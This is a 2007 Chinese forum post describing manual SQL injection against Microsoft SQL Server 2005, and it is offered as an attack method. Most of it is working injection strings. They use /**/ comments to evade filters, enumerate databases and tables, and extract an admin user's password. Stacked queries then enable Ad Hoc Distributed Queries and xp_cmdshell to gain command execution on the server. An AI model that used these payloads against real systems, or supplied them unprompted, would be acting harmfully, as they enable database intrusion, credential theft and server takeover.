mssql2005存手工注入漏洞附攻击方法
POJIE提交于:2007-10-18 | 本文目前专长值:| /**/跟空格的作用一样,有的时候可以过一些过滤爆库语句,修改红色部分的数字挨个猜出库 |
| Quote: /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0-- 爆表语句,somedb部份是所要列的数据库,红色数字1累加 Quote: /**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0-- 爆字段语句,爆表admin里user='icerover'的密码段 Quote: **/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0-- mssql2005默认没有开xp_cmdshell的,openrowset也不能用 如果是sa权限,可以这样来开启 开启openrowset Quote: /**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;-- /**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;-- 开启xp_cmdshell Quote: EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;-- EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;-- |
你对本文的评价:
本文目前专长值:
本文发布者:POJIE (在本营发布了条专长内容) 专长值: | 汗水: |
POJIE在本栏的其他内容查看全部
栏目的热点内容 查看全部相关评论(0条)
! 本网信息均由网友提供,并不代表蚁集观点.



专长值: |
汗水: